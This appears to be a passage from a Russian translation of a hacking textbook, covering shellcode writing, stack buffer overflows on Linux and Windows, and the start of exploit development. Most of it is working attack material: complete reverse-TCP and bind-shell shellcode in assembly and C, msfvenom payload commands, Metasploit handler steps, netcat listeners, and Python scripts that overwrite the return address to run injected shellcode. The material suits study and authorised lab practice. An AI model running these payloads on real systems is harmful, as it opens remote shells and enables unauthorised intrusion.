которая содержится в регистре RSI. Третий аргумент это размер нашей конструкции.

Получим номер для connect syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect

Результат введённой нами команды показан на скриншоте:

42 является номером который мы искали. Создадим connect syscall:

xor rdx, rdx


add rdx, 16
xor rax, rax
add rax, 42
syscall

[ 163 ]
Создание шеллкода Глава 5

Функция dup2 отличается только первым аргументом sockfd, который находится в


регистре RDI:
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Последняя часть для execve syscall будет /bin/sh:


xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Объединим всё вместе:


global _start

section .text

_start:

;Socket syscall
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx

[ 164 ]
Создание шеллкода Глава 5

syscall

; Save the sockfd in RDI Register


mov rdi, rax

;Creating the structure


xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02

;Move stack pointer to RSI


mov rsi, rsp

;Connect syscall
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall

;Dup2 syscall to stdin


xor rax,rax
add rax, 33
xor rsi, rsi
syscall

;Dup2 syscall to stdout


xor rax,rax
add rax, 33
inc rsi
syscall

;Dup2 syscall to stderr


xor rax,rax
add rax, 33
inc rsi
syscall

;Execve syscall with /bin/sh


xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi

[ 165 ]
Создание шеллкода Глава 5

mov rsi,rsp
add rax, 59
syscall

Соберём все вместе и присоединим это к машине жертвы:


$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp

Выполним следующее на машине атакующего:


$ nc -lp 1234

Вернёмся к машине жертвы чтобы выполнить наш код:


$ ./reverse-tcp

Далее установим соединение атакующей машины с машиной жертвы (Ubuntu):

Переведём это в шеллкод:


$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

Результат введённой нами команды показан на скриншоте:

[ 166 ]
Создание шеллкода Глава 5

Скопируем данный код на язык C:


#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x
ff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\
x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0
\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x4
8\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x
48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\
x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Составим все это на машине жертвы:


$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-
tcp-shellcode

Установим слушатель на атакующей машине:


$ nc -lp 1234

Установим слушатель на машине жертвы:


$ ./reverse-tcp-shellcode

Результат введённой нами команды показан на скриншоте:

[ 167 ]
Создание шеллкода Глава 5

Мы установили соединение с атакующей машиной:

Мы сделали это!

Создание кода используя Metasploit


Это намного проще чем вам может показаться. Мы создадим шеллкод используя
Metasploit для нескольких платформ, при этом удалив неправильные значения
одной командой.

Используем команду msfvenom. Покажем все возможности при помощи команды


msfvenom -h:

[ 168 ]
Создание шеллкода Глава 5

Перечислим все полезные нагрузки выполнив msfvenom -l:

Это только часть списка

Используем команду msfvenom --help-formats:

Попробуем создать шеллкод bind TCP на Linux:


$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f
c

Всё очень просто -a определяет архитектуру. Для нас это Linux. Далее выберем
полезную нагрузку linux/x64/shell/bind_tcp, убрав неправильные значения, \x00,
при помощи -b. В конце укажем формат C. Выполним это:

[ 169 ]
Создание шеллкода Глава 5

Скопируем шеллкод в C код:


#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Скопируем это на машину жертвы. Выполним это:


$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf
Ожидаем соединение. Установим слушатель на атакующей машине используя
Metasploit Framework с помощью команды msfconsole. Выберем отладчик
(handler):
use exploit/multi/handler

[ 170 ]
Создание шеллкода Глава 5

Выберем полезную нагрузку с помощью команды:


set PAYLOAD linux/x64/shell/bind_tcp

Добавим IP машины жертвы:


set RHOST 192.168.238.128

Определим порт —по умолчанию для Metasploit будет 4444:


set LPORT 4444

Запустим наш отладчик


exploit

Результат введённой нами команды показан на скриншоте:

Мы видим имеющуюся активную сессию session 1. Запустим сессию при помощи session 1:

Это сработало!

[ 171 ]
Создание шеллкода Глава 5

Заключение
В этой главе мы научились создавать простые шеллкоды, а также как изменять
неправильные значения. Мы стали использовать команду execve. Мы создали
продвинутый шеллкод , такой как bind TCP и reverse TCP shell. В конце мы
использовали Metasploit Framework для создания шеллкода состоящей из одной
строки .

Мы научились создавать и использовать правильную полезную нагрузку. В


следующей главе мы научимся использовать атаки buffer overflow.

[ 172 ]
6
Атаки buffer overflow
В этой главе мы углубимся в атаки buffer overflow. Мы научимся изменять
порядок выполнения и делать инъекции в шеллкоде.

Stack overflow в Linux


Мы поговорим о том что такое buffer overflow и как изменить порядок
выполнения используя уязвимости в коде.

Мы будем использовать данный код:

int copytobuffer(char* input)


{
char buffer[15];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
Атаки Buffer Overflow Глава 6

Поправим кое что:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)


{
char buffer[15];
strcpy (buffer,input);
return 0;
}

void letsprint()
{
printf("Hey!! , you succeeded\n");
exit(0);
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Мы добавили новую команду letsprint состоящую из printf, так как её никогда не


использовали в команде main. Что если мы изменим порядок выполнения команд
используя buffer overflow?

Выполним это на машине с Ubuntu:

$ gcc -fno-stack-protector -z execstack buffer.c -o buffer


$ ./buffer aaaa

Результат введённой нами команды показан на скриншоте:

Как мы видим ничего не произошло. Попробуем overflow:

$ ./buffer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[ 174 ]
Атаки Buffer Overflow Глава 6

Результат введённой нами команды показан на скриншоте:

OK, попробуем получить ошибку в GDB:


$ gdb ./buffer

Начнём с команды main для приостановки команды main:


$ break main

Программа начала работу. Она приостановит работу на команде main.


Продолжим установив 24 a значения:
$ run aaaaaaaaaaaaaaaaaaaaaaaa

Код опять остановится на main:

[ 175 ]
Атаки Buffer Overflow Глава 6

Нажмём C и Enter чтобы продолжить выполнение:

Программа выдала ошибку как мы и ожидали. Попробуем ввести 26 a :


$ run aaaaaaaaaaaaaaaaaaaaaaaaaa

Используем Python для подсчёта значений


#!/usr/bin/python

buffer = ''
buffer += 'a'*26
f = open("input.txt", "w")
f.write(buffer)

Даём согласие на выполнение:


$ chmod +x exploit.py
$ ./exploit.py

Внутри GDB выполним следующую команду:


$ run $(cat input.txt)

[ 176 ]
Атаки Buffer Overflow Глава 6

Код остановится main:

Нажмём C и Enter чтобы продолжить выполнение:

Вы заметили ошибку 0x0000000000006161 в ?? ()? В предыдущем скриншоте


мы не найдём 0x0000000000006161, 6161 будет aa, которая позволит сделать
инъекцию 2 байтов в регистре RIP.

[ 177 ]
Атаки Buffer Overflow Глава 6

Подтвердим 24 для значений a и 6 для b:

$ run aaaaaaaaaaaaaaaaaaaaaaaabbbbbb

Также используем Python:

#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

Выполним эксплоит создав новый ввод:


$ ./exploit

Выполним это внутри GDB:


$ run $(cat input.txt)

Код дойдет до точки отсчёта:

[ 178 ]
Атаки Buffer Overflow Глава 6

Нажмём C и Enter чтобы продолжить выполнение:

Посмотрев на ошибку мы увидим наше инъектированное значение b. Отсюда следует


что мы сделали все правильно. Теперь попробуем выполнить команду letsprint
используя команду disassemble:
$ disassemble letsprint

Результат введённой нами команды показан на скриншоте:

[ 179 ]
Атаки Buffer Overflow Глава 6

Первым мы используем letsprint, push rbp с адресом 0x00000000004005e3,


Реальный адрес мы найдём при помощи команды print :

$ print letsprint

Результат введённой нами команды показан на скриншоте:

У нас есть адрес. При помощи Python мы попробуем создать эксплоит так как мы не
можем напрямую пройти адрес:
#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x0000004005e3)
f = open("input.txt", "w")
f.write(buffer)

Выполним это чтобы создать новый выход :


$ ./exploit

Внутри GDB запустим следующую команду:


$ run $(cat input.txt)

[ 180 ]
Атаки Buffer Overflow Глава 6

Затем мы дойдём до точки отсчёта:

Нажмём C и Enter чтобы продолжить:

Мы сделали это!
$ ./buffer $(cat input.txt)

[ 181 ]
Атаки Buffer Overflow Глава 6

Результат введённой нами команды показан на скриншоте:

У нас получилось изменить порядок выполнения! Возьмём ещё одну полезную

нагрузку .
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Мы добавим execve syscall для выполнения /bin/sh из предыдущей главы:


unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

[ 182 ]
Атаки Buffer Overflow Глава 6

Соберём их вместе:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void shell_pwn()
{
char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73
\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
int copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
return 0;
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Команда shell_pwn не будет использоваться так как мы не вызвали её. Соберём их


вместе:
$ gcc -fno-stack-protector -z execstack exec.c -o exec

Откроем наш код в GDB:


$ gdb ./exec

Установим точку отсчёта как команда main:


$ break main

[ 183 ]
Атаки Buffer Overflow Глава 6

Подготовим наш эксплоит для точного места в регистре RIP:


#!/usr/bin/python

buffer = ''
buffer += 'a'*24
buffer += 'b'*6
f = open("input.txt", "w")
f.write(buffer)

Выполним наш эксплоит:


$ ./exploit.py

В GDB запустим следующую команду:


$ run $(cat input.txt)

Затем мы дойдём до точки отсчёта:

[ 184 ]
Атаки Buffer Overflow Глава 6

Нажмём C и Enter чтобы продолжить:

Мы видим что система ругается на значение 6 b , 0x0000626262626262. Это значит что


мы на правильном пути. Давайте найдём адрес нашего шеллкода:
$ disassemble shell_pwn

[ 185 ]
Атаки Buffer Overflow Глава 6

Результат введённой нами команды показан на скриншоте:

Первый адрес команды 0x000000000040060d. Также мы можем использовать


команду print:
$ print shell_pwn

Результат введённой нами команды показан на скриншоте:

[ 186 ]
Атаки Buffer Overflow Глава 6

Отлично! Создадим наш последний эксплоит:


#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'a'*24
buffer += pack("<Q", 0x00000040060d)
f = open("input.txt", "w")
f.write(buffer)

Выполним это:
$ ./exploit.py

В GDB запустим следующую команду:


$ run $(cat input.txt)

Код остановится на команде main; нажмём C чтобы продолжить:

[ 187 ]
Атаки Buffer Overflow Глава 6

Мы получили шелл; попробуем выполнить его $ cat /etc/issue:

Подтвердим использование нашего шелла shell instead of GD:


$ ./exec $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

Попробуем выполнить это:

Сработало!

[ 188 ]
Атаки Buffer Overflow Глава 6

Stack overflow в Windows


Попробуем использовать предыдущий эксплоит в stack overflow в системе Windows 7.
Мы не отключаем никаких механизмов защиты в Windows, таких как Address Space
Layout Randomization (ASLR) или Data Execution Prevention (DEP); мы поговорим о
них в Главе 12, Обнаружение и предвидение.
Воспользуемся нашим кодом уязвимости используя Code::Blocks:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)


{
char buffer[15];
strcpy (buffer,input);
return 0;
}

void letsprint()
{
printf("Hey!! , you succeeded\n");
exit(0);
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Откройте Code::Blocks и пройдите к File | New | Empty file.

[ 189 ]
Атаки Buffer Overflow Глава 6

Напишем код уязвимости. Перейдём в File | Save file и сохраним как buffer2.c:

[ 190 ]
Атаки Buffer Overflow Глава 6

Напишем код пройдя в Build | Build.

Откроем Immunity Debugger от имени администратора.


Далее перейдём в File | Open и выберем buffer2. Введёи аргумент в виде
aaaaaaaaaaaaaaaaaaaaaaaaaaabbbb (27 cзначений a и 4 b); в будущем мы узнаем
длину нашей полезной нагрузки:

[ 191 ]
Атаки Buffer Overflow Глава 6

Мы видим все 4 окна. Нажмем run program. После мы увидим начало нашей
программы:

Ещё раз нажмём run program и увидим окно статуса:

[ 192 ]
Атаки Buffer Overflow Глава 6

Программы остановилась при попытки выполнить 62626262, при значении b в


ASCI, но самое важное мы увидим в окне регистра (FPU):

Указатель программы указывает на значение b 62626262.

Попробуем найти нашу команду. В Immunity Debuggerпройдём в Debug |


Restart.

[ 193 ]
Атаки Buffer Overflow Глава 6

Запустим программу и правой кнопкой мыши нажмём на disassemble window и


перейдём в Search for | All referenced text strings:

Найдём нашу строку внутри команды letsprint, Hey!! , you succeeded\n.

[ 194 ]
Атаки Buffer Overflow Глава 6

Откроется новое окно

Третьей будет наша строка, но мы не сможем её прочесть из за команды exit(0). Вы


можете проверить это создав другую версию exit(0) и использую те же самые
команды.

Адреса не точны—возможно у вас будет другие адреса.

Дважды кликнем на строке, затем Immunity Debugger выведет нас прямо к нашей
строке, 0x00401367:

[ 195 ]
Атаки Buffer Overflow Глава 6

Мы не нуждаемся в нашей строке, но нам нужно найти команду letsprint.


Продожайте искать пока не дойдёте до конца команды (RETN). Следующая команда
начнётся с letsprint:

Адрес 0x0040135f является началом команды letsprint. Докажем это. Откройте


IDLE (Python GUI)и перейдите в File | New Window:

[ 196 ]
Атаки Buffer Overflow Глава 6

В новом окне напишем эксплоит:


#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x0040135f)
f = open("input.txt", "w")
f.write(buffer)

Сохраним его как exploit.py:

Нажмите Run в окне IDLE, который создаст новый файл, input.txt, в


нашей рабочей директории.

[ 197 ]
Атаки Buffer Overflow Глава 6

Откройте файл input.txt:

Здесь наш пейлоад; скопируем содержимое в появившийся файл. Вернёмся к


Immunity Debugger перейдя в File | Open, затем вставим пейлоад в Arguments и
выберем buffer2:

[ 198 ]
Атаки Buffer Overflow Глава 6

Запустим Immunity Debugger:

[ 199 ]
Атаки Buffer Overflow Глава 6

Нажмём run program; мы остановимся в точке начала программы:

[ 200 ]
Атаки Buffer Overflow Глава 6

Ещё раз нажмём run program:

[ 201 ]
Атаки Buffer Overflow Глава 6

Программа выполнит команду кодом исполнения 0. Посмотрим на Immunity CLI:

Это сработало! Посмотрим на окно в stack:

[ 202 ]
Атаки Buffer Overflow Глава 6

Заметим что значение a в stack и адрес команды letsprint были правильно


инъектированы.

Инъектируем наш шеллкод используя Metasploit, а не командой letsprint:

$ msfvenom -p windows/shell_bind_tcp -b'\x00\x0A\x0D' -f c

Результат введённой нами команды показан на скриншоте:

Мы можем проверить шеллкод перед его использованием


#include<stdio.h>
#include<string.h>

unsigned char code[] =


"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"
"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"

[ 203 ]
Атаки Buffer Overflow Глава 6

"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

int main()
{
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Создадим и запустим все вместе

[ 204 ]
Атаки Buffer Overflow Глава 6

Дождёмся соединения. С атакующей машины запустим Metasploit:


$ msfconsole

Выберем отладчик для соединения с машиной жертвы:


$ use exploit/multi/handler

Выберем пейлоад windows/shell_bind_tcp:


$ set payload windows/shell_bind_tcp

Пропишем IP адрес машины жертвы:

Выберем rhost:
$ set rhost 192.168.129.128

Запустим:
$ run

[ 205 ]
Атаки Buffer Overflow Глава 6

Результат введённой нами команды показан на скриншоте:

Начата сессия как session 1:


$ session 1

Результат введённой нами команды показан на скриншоте:

Мы находимся в машине жертвы. Покинем сессию и вернёмся к


коду. Окончательный код будет выглядеть так:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int shell_pwn()
{
unsigned char code[] =
"\xda\xcf\xd9\x74\x24\xf4\xbd\xb8\xbe\xbf\xa8\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x6b\x13\x03\xd3\xad\x5d\x5d\xdf\x3a\x23"
"\x9e\x1f\xbb\x44\x16\xfa\x8a\x44\x4c\x8f\xbd\x74\x06\xdd\x31"
"\xfe\x4a\xf5\xc2\x72\x43\xfa\x63\x38\xb5\x35\x73\x11\x85\x54"
"\xf7\x68\xda\xb6\xc6\xa2\x2f\xb7\x0f\xde\xc2\xe5\xd8\x94\x71"
"\x19\x6c\xe0\x49\x92\x3e\xe4\xc9\x47\xf6\x07\xfb\xd6\x8c\x51"

[ 206 ]
Атаки Buffer Overflow Глава 6

"\xdb\xd9\x41\xea\x52\xc1\x86\xd7\x2d\x7a\x7c\xa3\xaf\xaa\x4c"
"\x4c\x03\x93\x60\xbf\x5d\xd4\x47\x20\x28\x2c\xb4\xdd\x2b\xeb"
"\xc6\x39\xb9\xef\x61\xc9\x19\xcb\x90\x1e\xff\x98\x9f\xeb\x8b"
"\xc6\x83\xea\x58\x7d\xbf\x67\x5f\x51\x49\x33\x44\x75\x11\xe7"
"\xe5\x2c\xff\x46\x19\x2e\xa0\x37\xbf\x25\x4d\x23\xb2\x64\x1a"
"\x80\xff\x96\xda\x8e\x88\xe5\xe8\x11\x23\x61\x41\xd9\xed\x76"
"\xa6\xf0\x4a\xe8\x59\xfb\xaa\x21\x9e\xaf\xfa\x59\x37\xd0\x90"
"\x99\xb8\x05\x0c\x91\x1f\xf6\x33\x5c\xdf\xa6\xf3\xce\x88\xac"
"\xfb\x31\xa8\xce\xd1\x5a\x41\x33\xda\x75\xce\xba\x3c\x1f\xfe"
"\xea\x97\xb7\x3c\xc9\x2f\x20\x3e\x3b\x18\xc6\x77\x2d\x9f\xe9"
"\x87\x7b\xb7\x7d\x0c\x68\x03\x9c\x13\xa5\x23\xc9\x84\x33\xa2"
"\xb8\x35\x43\xef\x2a\xd5\xd6\x74\xaa\x90\xca\x22\xfd\xf5\x3d"
"\x3b\x6b\xe8\x64\x95\x89\xf1\xf1\xde\x09\x2e\xc2\xe1\x90\xa3"
"\x7e\xc6\x82\x7d\x7e\x42\xf6\xd1\x29\x1c\xa0\x97\x83\xee\x1a"
"\x4e\x7f\xb9\xca\x17\xb3\x7a\x8c\x17\x9e\x0c\x70\xa9\x77\x49"
"\x8f\x06\x10\x5d\xe8\x7a\x80\xa2\x23\x3f\xb0\xe8\x69\x16\x59"
"\xb5\xf8\x2a\x04\x46\xd7\x69\x31\xc5\xdd\x11\xc6\xd5\x94\x14"
"\x82\x51\x45\x65\x9b\x37\x69\xda\x9c\x1d";

printf("Shellcode Length: %d\n", (int)strlen(code));


int (*ret)() = (int(*)())code;
ret();
}

int copytobuffer(char* input)


{
char buffer[15];
strcpy (buffer,input);
return 0;
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

[ 207 ]
Атаки Buffer Overflow Глава 6

Запустим это в Immunity Debugger чтобы найти адрес команды shell_pwn.


Откроем Immunity Debugger от имени администратора и выберем наш новый код
с любым желаемым аргументом:

Ещё раз зарустим программу:

[ 208 ]
Атаки Buffer Overflow Глава 6

В основном окне нажмите правой кнопкой мыши navigate Search for | All referenced text
strings:

Видете длину Shellcode Length? Это строка в команде shell_pwn; нажмите


дважды по ней:

[ 209 ]
Атаки Buffer Overflow Глава 6

Программа приведёт нас к месту указания длины строки Shellcode Length.


Попробуем найти место начала нашей команды:

Мы нашли это 0x00401340. Установим код нашего эксплоита:


#!/usr/bin/python
from struct import *
buffer = ''
buffer += 'a'*27
buffer += pack("<Q", 0x00401340)
f = open("input.txt", "w")
f.write(buffer)

[ 210 ]
Атаки Buffer Overflow Глава 6

Для просмотра запустим эксплоит input.txt и откроем input.txt:

Затем скопируем его содержимое. Вернёмся в Immunity Debugger и откроем


программу вставив наш пейлоад:

[ 211 ]
Атаки Buffer Overflow Глава 6

Запустим дважды нашу программу. Программа все ещё работает:

Посмотрим на окно статуса:

[ 212 ]
Атаки Buffer Overflow Глава 6

Мы запустили шеллкод и ожидаем подключения. Вернёмся к атакующей машине и


запустим отладчик для подключения к машине жертвы:
$ msfconsole
$ use exploit/multi/handler
$ set payload windows/shell_bind_tcp
$ set rhost 192.168.129.128
$ run

Результат введённой нами команды показан на скриншоте:

Установлено соединение session 2:


$ session 2

Результат введённой нами команды показан на скриншоте:

Это сработало!

Заключение
В данный момент мы уже знаем как работает атака buffer overflow в системах Linux и
Windows. Также мы умеем использовать эксплоиты stack overflow.

В следующей главе мы научимся определять местоположение команды указателя и


пэйлоада. также мы изучим новые методы атаки buffer overflow.

[ 213 ]
7
Разработка эксплоита – Часть 1
Мы начнём с реальных примеров. В этой главе мы узнаем как дселать фаззинг
(распыление) эксплоита. Мы научимся разрабатывать эксплоиты которые могут
контролировать указатели команд и то как найти правильное место для нашего
шеллкода.

Следующие темы будут затронуты в данной главе:

Фаззинг и контроль указателя команды


Инъекция шеллкода
Реальный пример buffer overflow

Начнём!

Фаззинг и контроль указателя команды


В предыдущей главе мы инъектировали значения, но нам нужно понять как смещать
указатель команды который был инъектирован в 24 A. Поиск смещения основывается
на нахождении последнего элемента в stack при помощи вычисления смезения в
регистре RIP. Вы поймёте это со следующим примером. Как мы можем определить
смезение в регистре RIP? У нас есть два инструмента для этого: Metasploit Framework и
PEDA

Использование Metasploit Framework и PEDA


Первым делом мы используем Metasploit Framework для создания шаблона. Для этого
пройдём к этому месту: /usr/share/metasploit-framework/tools/exploit/.
Разработка эксплоита – Часть 1 Глава 7

Как создать шаблон? Мы создадим его используя pattern_create.rb.

Выберем пример используя наш уязвимый код и больший баффер, как 256:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int copytobuffer(char* input)


{
char buffer[256];
strcpy (buffer,input);
return 0;
}

void main (int argc, char *argv[])


{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}

Соберём все вместе:


$ gcc -fno-stack-protector -z execstack buffer.c -o buffer

Используем GDB:
$ gdb ./buffer

Вычислим место смещения RIP. Создадим шаблон при помощи Metasploit


Framework на нашей атакующей машине и внутри /usr/share/metasploit-
framework/tools/exploit/:

$ ./pattern_create.rb -l 300 > pattern

В предыдущей команде мы создали шаблон длиной в 300 и сохранили всё это в


файле с именем pattern. Скопируем файл на машину жертвы используя шаблон
внутри GDB:
$ run $(cat pattern)

[ 215 ]
Разработка эксплоита – Часть 1 Глава 7

Результат введённой нами команды показан на скриншоте:

Как мы и ожидали код остановил работу заметив ошибку. Нам нужно вывести
последний элемент в stack, так как следующий элемент должен переполнить регистр
RIP. Найдём последний элемент в stack используя команду x для отображения данных
памяти. Откроем GDB чтоюы увидеть как работает команда x вызвав help x:

[ 216 ]
Разработка эксплоита – Часть 1 Глава 7

Выведем последний элемент в stack используя x:


$ x/x $rsp

Результат введённой нами команды показан на скриншоте:

Последним элементов в stack будет 0x41386941. Вы также можете ввести x/wx


$rsp чтоюы увидеть полностью слово в регистре RSP . Вычислим точное
местоположение регистра RIP используя pattern_offset.rb на нашей атакующей
машине
$ ./pattern_offset.rb -q 0x41386941 -l 300

Первым мы уточнили запрос из stack; далее уточнили длину использованного


шаблона:

Это говорит нам что последний элемент находится в 264,что означает


необходимость переполнить регистр RIP на 6 значений:
#!/usr/bin/python
from struct import *

buffer = ''
buffer += 'A'*264
buffer += pack("<Q", 0x424242424242)
f = open("input.txt", "w")
f.write(buffer)

Если вычисления сделаны правильно, то мы увидим 42s в RIP. Запустим код:


$ chmod +x exploit.py
$ ./exploit.py

[ 217 ]
Разработка эксплоита – Часть 1 Глава 7

Внутри GDB выполним следующую команду:


$ run $(cat input.txt)

Результат введённой нами команды показан на скриншоте:

42 является указателем команды, которая будет bbbbbb в ASCII.

Инъекция шеллкода
Регистр RIP содержит 6 B (424242424242) и код был приостановлен выдав ошибку
0x0000424242424242 в памяти устройства.

К слову мы успешно использовали эксплоит. Так выглядит наш пейлоад:

[ 218 ]
Разработка эксплоита – Часть 1 Глава 7

Нам нужно найти способ инъекции шеллкода в значениях A. Для этого


инъектируем 0x90 или команду NOP. После инъекции шеллкода мы поменяем
указатель команды (RIP) на любой адрес содержащийся в команде NOP (0x90).

Выполнив это мы пройдём команды NOP остановившись перед Shellcode, котрая


начнёт выполнение следующее:

Это то как должен выглядеть наш эксплоит. Попробуем инъектировать execve /


